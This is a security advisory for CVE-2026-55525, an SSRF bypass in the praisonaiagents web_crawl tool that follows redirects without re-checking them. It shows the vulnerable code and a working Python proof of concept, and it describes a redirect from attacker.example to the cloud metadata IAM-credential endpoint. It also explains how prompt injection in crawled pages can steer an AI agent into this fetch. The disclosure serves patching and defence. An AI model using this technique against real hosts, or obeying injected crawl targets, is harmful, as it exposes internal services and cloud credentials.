CVE-2026-55525: praisonaiagents web_crawl vulnerable to SSRF via redirect-following
Summary webcrawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(followredirects=True) and never re-validates redirect targets.
Published Aug 25, 2026
Affected packages
praisonaiagents
- Ecosystem
- PyPI
- Affected
- < 1.6.58
- Fixed in
- 1.6.58
- Check
pip show praisonaiagents
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.
An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.
Details
- The agent is asked (or prompt-injected) to crawl
https://attacker.example/r, which the source accepts becauseattacker.exampleresolves to a public IP. - The attacker server responds 302 Location:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>. _crawl_with_httpxfollows the redirect withfollow_redirects=True, fetches the IAM credential document, andweb_crawlreturns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.
The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts
Source (validates only the initial hostname)
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
logger.warning(f"Rejected SSRF or private IP attempt: {u}")
continueSink (follows redirects with no re-validation)
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142
import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
response = client.get(url)
response.raise_for_status()
content = response.textPoC
Dependencies: pip install praisonaiagents==1.6.52 httpx
Preconditions:
- The agent has the
web_crawltool registered, which is a standard exported tool. - The default crawl provider
httpxis selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). ALLOW_LOCAL_CRAWLis not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.- The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).
"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl
SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
def log_message(self, *a): pass
s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"
control = web_crawl(internal) # front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
{"url": internal, "status_code": "302"}) # public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")Impact
Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.
Credited to Ampliox.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-60087
PraisonAI: Human-in-the-loop tool approval is cached by tool name and silently reused for all subsequent calls with arbitrary arguments
medium6.1Oct 8, 2026CVE-2026-60089
PraisonAI: Project config can auto-save agent output outside the project root
medium6.9Oct 8, 2026CVE-2026-61430
PraisonAI: DNS rebinding bypass in `web_crawl` SSRF protection allows internal response disclosure
high8.5Oct 8, 2026CVE-2026-61432
PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
medium5.7Oct 8, 2026CVE-2026-61437
PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow
high7.8Oct 8, 2026CVE-2026-61443
PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
high8.1Oct 8, 2026
